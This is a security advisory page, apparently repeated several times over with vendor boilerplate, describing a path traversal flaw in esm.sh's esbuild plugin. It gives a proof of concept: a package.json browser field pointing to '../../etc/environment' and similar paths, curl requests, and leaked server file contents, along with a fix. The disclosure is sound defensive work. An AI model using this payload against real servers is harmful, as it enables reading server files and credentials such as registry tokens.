### Summary A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process. ### Details The vulnerable code is in the `OnResolve` callback of the esbuild plugin: https://github.com/esm-dev/esm.sh/blob/main/server/build.go The plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping. ```go // Sandbox check passes for the original "./d1.txt" path if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier) } // ... later, browser field remaps to attacker-controlled path: if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() { if path, ok := pkgJson.Browser[modulePath]; ok { if path == "" { return esbuild.OnResolveResult{ Path: args.Path, Namespace: "browser-exclude", }, nil } if !isRelPathSpecifier(path) { externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode) if err != nil { return esbuild.OnResolveResult{}, err } return esbuild.OnResolveResult{ Path: externalPath, SideEffects: sideEffects, External: true, }, nil } modulePath = path } } // path.Join collapses "../" sequences - escapes the package directory filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) // No second sandbox check ``` File contents appear in both the bundled JS output and the source map `sourcesContent` array. Readable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension). Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle. ### PoC The test package is published at https://www.npmjs.com/package/chess-sec-utils1 **package.json:** ```json { "name": "chess-sec-utils1", "version": "1.0.6", "main": "index.js", "type": "module", "browser": { "./d1.txt": "../../../../../../../../etc/hostname", "./d2.json": "../../../../../../../../etc/os-release", "./d3.json": "../../../../../../../../etc/environment" } } ``` **index.js:** ```js import d1 from "./d1.txt" import d2 from "./d2.json" import d3 from "./d3.json" export default { d1, d2, d3 } ``` ```bash npm publish curl "https://<esm.sh-instance>/[email protected]" curl "https://<esm.sh-instance>/[email protected]/es2022/chess-sec-utils1.mjs.map" ``` Server file contents in source map response: ```json { "sourcesContent": [ "ideapad\n", "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n", "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n", "import d1 from \"./d1.txt\"..." ] } ``` <img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" /> ### Impact An attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials. ### Fix Add a path validation check after the `browser` field remapping: ```go filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked") } ``` ### Credit Svyatoslav Berestovsky of Metascan
### Summary A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process. ### Details The vulnerable code is in the `OnResolve` callback of the esbuild plugin: https://github.com/esm-dev/esm.sh/blob/main/server/build.go The plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping. ```go // Sandbox check passes for the original "./d1.txt" path if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier) } // ... later, browser field remaps to attacker-controlled path: if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() { if path, ok := pkgJson.Browser[modulePath]; ok { if path == "" { return esbuild.OnResolveResult{ Path: args.Path, Namespace: "browser-exclude", }, nil } if !isRelPathSpecifier(path) { externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode) if err != nil { return esbuild.OnResolveResult{}, err } return esbuild.OnResolveResult{ Path: externalPath, SideEffects: sideEffects, External: true, }, nil } modulePath = path } } // path.Join collapses "../" sequences - escapes the package directory filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) // No second sandbox check ``` File contents appear in both the bundled JS output and the source map `sourcesContent` array. Readable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension). Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle. ### PoC The test package is published at https://www.npmjs.com/package/chess-sec-utils1 **package.json:** ```json { "name": "chess-sec-utils1", "version": "1.0.6", "main": "index.js", "type": "module", "browser": { "./d1.txt": "../../../../../../../../etc/hostname", "./d2.json": "../../../../../../../../etc/os-release", "./d3.json": "../../../../../../../../etc/environment" } } ``` **index.js:** ```js import d1 from "./d1.txt" import d2 from "./d2.json" import d3 from "./d3.json" export default { d1, d2, d3 } ``` ```bash npm publish curl "https://<esm.sh-instance>/[email protected]" curl "https://<esm.sh-instance>/[email protected]/es2022/chess-sec-utils1.mjs.map" ``` Server file contents in source map response: ```json { "sourcesContent": [ "ideapad\n", "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n", "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n", "import d1 from \"./d1.txt\"..." ] } ``` <img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" /> ### Impact An attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials. ### Fix Add a path validation check after the `browser` field remapping: ```go filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked") } ``` ### Credit Svyatoslav Berestovsky of Metascan
Update github.com/esm-dev/esm.sh to 0.0.0-20250616164159-0593516c4cfa if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanesm.sh: Path Traversal via package.json browser field allows reading arbitrary server files affects github.com/esm-dev/esm.sh (go). Severity is high. ### Summary A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process. ### Details The vulnerable code is in the `OnResolve` callback of the esbuild plugin: https://github.com/esm-dev/esm.sh/blob/main/server/build.go The plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping. ```go // Sandbox check passes for the original "./d1.txt" path if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier) } // ... later, browser field remaps to attacker-controlled path: if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() { if path, ok := pkgJson.Browser[modulePath]; ok { if path == "" { return esbuild.OnResolveResult{ Path: args.Path, Namespace: "browser-exclude", }, nil } if !isRelPathSpecifier(path) { externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode) if err != nil { return esbuild.OnResolveResult{}, err } return esbuild.OnResolveResult{ Path: externalPath, SideEffects: sideEffects, External: true, }, nil } modulePath = path } } // path.Join collapses "../" sequences - escapes the package directory filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) // No second sandbox check ``` File contents appear in both the bundled JS output and the source map `sourcesContent` array. Readable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension). Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle. ### PoC The test package is published at https://www.npmjs.com/package/chess-sec-utils1 **package.json:** ```json { "name": "chess-sec-utils1", "version": "1.0.6", "main": "index.js", "type": "module", "browser": { "./d1.txt": "../../../../../../../../etc/hostname", "./d2.json": "../../../../../../../../etc/os-release", "./d3.json": "../../../../../../../../etc/environment" } } ``` **index.js:** ```js import d1 from "./d1.txt" import d2 from "./d2.json" import d3 from "./d3.json" export default { d1, d2, d3 } ``` ```bash npm publish curl "https://<esm.sh-instance>/[email protected]" curl "https://<esm.sh-instance>/[email protected]/es2022/chess-sec-utils1.mjs.map" ``` Server file contents in source map response: ```json { "sourcesContent": [ "ideapad\n", "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n", "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n", "import d1 from \"./d1.txt\"..." ] } ``` <img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" /> ### Impact An attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials. ### Fix Add a path validation check after the `browser` field remapping: ```go filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked") } ``` ### Credit Svyatoslav Berestovsky of Metascan
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/esm-dev/esm.shgo | <0.0.0-20250616164159-0593516c4cfa | 0.0.0-20250616164159-0593516c4cfa |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/esm-dev/esm.sh to 0.0.0-20250616164159-0593516c4cfa if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanesm.sh: Path Traversal via package.json browser field allows reading arbitrary server files affects github.com/esm-dev/esm.sh (go). Severity is high. ### Summary A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process. ### Details The vulnerable code is in the `OnResolve` callback of the esbuild plugin: https://github.com/esm-dev/esm.sh/blob/main/server/build.go The plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping. ```go // Sandbox check passes for the original "./d1.txt" path if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier) } // ... later, browser field remaps to attacker-controlled path: if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() { if path, ok := pkgJson.Browser[modulePath]; ok { if path == "" { return esbuild.OnResolveResult{ Path: args.Path, Namespace: "browser-exclude", }, nil } if !isRelPathSpecifier(path) { externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode) if err != nil { return esbuild.OnResolveResult{}, err } return esbuild.OnResolveResult{ Path: externalPath, SideEffects: sideEffects, External: true, }, nil } modulePath = path } } // path.Join collapses "../" sequences - escapes the package directory filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) // No second sandbox check ``` File contents appear in both the bundled JS output and the source map `sourcesContent` array. Readable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension). Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle. ### PoC The test package is published at https://www.npmjs.com/package/chess-sec-utils1 **package.json:** ```json { "name": "chess-sec-utils1", "version": "1.0.6", "main": "index.js", "type": "module", "browser": { "./d1.txt": "../../../../../../../../etc/hostname", "./d2.json": "../../../../../../../../etc/os-release", "./d3.json": "../../../../../../../../etc/environment" } } ``` **index.js:** ```js import d1 from "./d1.txt" import d2 from "./d2.json" import d3 from "./d3.json" export default { d1, d2, d3 } ``` ```bash npm publish curl "https://<esm.sh-instance>/[email protected]" curl "https://<esm.sh-instance>/[email protected]/es2022/chess-sec-utils1.mjs.map" ``` Server file contents in source map response: ```json { "sourcesContent": [ "ideapad\n", "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n", "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n", "import d1 from \"./d1.txt\"..." ] } ``` <img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" /> ### Impact An attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials. ### Fix Add a path validation check after the `browser` field remapping: ```go filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked") } ``` ### Credit Svyatoslav Berestovsky of Metascan
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/esm-dev/esm.shgo | <0.0.0-20250616164159-0593516c4cfa | 0.0.0-20250616164159-0593516c4cfa |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard